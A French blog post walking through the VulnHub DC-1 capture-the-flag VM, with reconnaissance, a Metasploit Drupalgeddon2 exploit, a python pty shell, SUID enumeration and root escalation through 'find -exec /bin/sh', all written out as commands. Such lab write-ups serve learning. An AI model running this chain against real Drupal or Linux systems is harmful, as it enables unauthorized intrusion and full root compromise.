DC-1 ~ VulnHub

Bertrand #ProHacktive.io
ProHacktive
Published in
3 min readMay 19, 2020

Au programme aujourd’hui un CTF Beginner avec la VM DC-1 disponible sur VulnHub.com. Alors on nous dit qu’il y a plusieurs chemins pour accéder au compte root, qu’il y a 5 flags et que le graal reste de décrocher le flag root. Dans cet article, nous allons chercher avant tout le flag « root ».

On nous indique que le DHCP est activé. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.84.

Scanning :

On va lancer un Nmap pour déterminer les ports ouverts sur la VM

nmap -A 192.168.1.84

Les ports 22 (SSH) , 80 (HTTP) et 111 (RPC) sont ouverts et on note qu’il y a la présence d’un CMS Drupal.

Enumération :

On accède via firefox à 192.168.1.84

On arrive effectivement sur une page Drupal avec le formulaire de connexion. On continue la pêche aux informations et on regarde s’il y a moyen d’exploiter Drupal.

searchsploit drupal

Exploitation :

On va essayer d’exploiter la vulnérabilité Drupalgeddon2 via MetaSploit

msfconsole

use exploit/unix/webapp/drupal_drupalgeddon2

set rhosts 192.168.1.84

run

Ca y est, on a ouvert un accès à la machine. Une petite vérification et on lance un shell.

sysinfo

shell

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Escalade de privilèges :

On arrive maintenant à la phase d’escalade de privilège où vous devez trouver un moyen d’ouvrir un accès root. J’ai trouvé une page intéressante lisant des commandes utiles :

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Donc voici une commande pour lister les commandes qui ont le bit SUID activé (chmod 4000) et qui pourront être exécuté en utilisateur « root ».

find / -perm -u=s -type f 2>/dev/null

On voit que la commande sudo n’est pas disponible. Par contre, la commande find a le bit SUID activé et on va partir dans cette direction pour l’escalade de privilège.

find –help

La commande find dispose d’une option « exec » qui va être très utile dans notre cas.

which find

ls -la /usr/bin/find

cd /tmp

touch toto

find toto -exec “whoami” \;

On peut donc lancer des commandes qui seront exécutés en root. Du coup, on lance un bash.

find toto -exec “/bin/sh” \;

Et voilà, nous avons un shell en root.

id

cd /root

ls

cat thefinalflag.txt

--

--

Bertrand #ProHacktive.io
ProHacktive

Security Developer chez ProHacktive.io. Strong interest in pentesting and solving CTF (Ethical Hacker).